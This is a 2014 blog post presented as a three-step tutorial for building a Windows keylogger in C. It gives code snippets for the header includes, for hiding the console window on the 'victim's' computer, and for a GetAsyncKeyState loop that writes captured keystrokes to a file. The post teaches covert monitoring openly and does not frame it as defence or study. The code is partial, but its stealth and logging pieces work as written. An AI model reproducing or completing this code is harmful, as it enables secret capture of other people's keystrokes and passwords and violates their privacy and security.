Sunday 30 November 2014

Create Keylogger in 3 Simple Steps

SIMPLE KEYLOGGER IN 3 STEPS 

What is Keylogger?
Traditional Keylogger can be defined as a program that captures the host machine's keystrokes and sends it to the attacker but improvising themselves now the keyloggers are capable of logging the screenshots to capture the onscreen actions too.

The keylogger can be divided into 3 sections for understanding which are as follows (The code quoted below is just a section of actual code).

Initialization Of Resources :
    This section contains code about the initialization of the required resources for the logging process. This includes initializing the constants to be used during the code and requesting the header files containing the function prototypes that are to be used.Some common files are..

   #include <windows.h>
   #include <stdio.h>
   #include <winuser.h>
   #include <windowsx.h>
   #include <time.h>


Window Control Section :  
     This section is responsible for keeping the console window invisible on the victims computer (until searched very deeply).

   HWND stealth; 
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);


Logging section :
     This section contains the condition based code that is responsible for identifying the key strokes. This contains various sections responsible for creating separate responses as the keys are pressed.For example we can refer to the following code to capture small letters in target file.

     if(GetAsyncKeyState(character)==-32767)
    { 
        FILE *file;
        file=fopen(FileName,"a+");

        if((character>64)&&(character<91))
       {
               character+=32;
               fputc(character,file);
               fclose(file);
               break;
        }

    }

Above given sample of code is as per C language for coding into another language the same logic can be implemented using its syntax .

No comments:

Post a Comment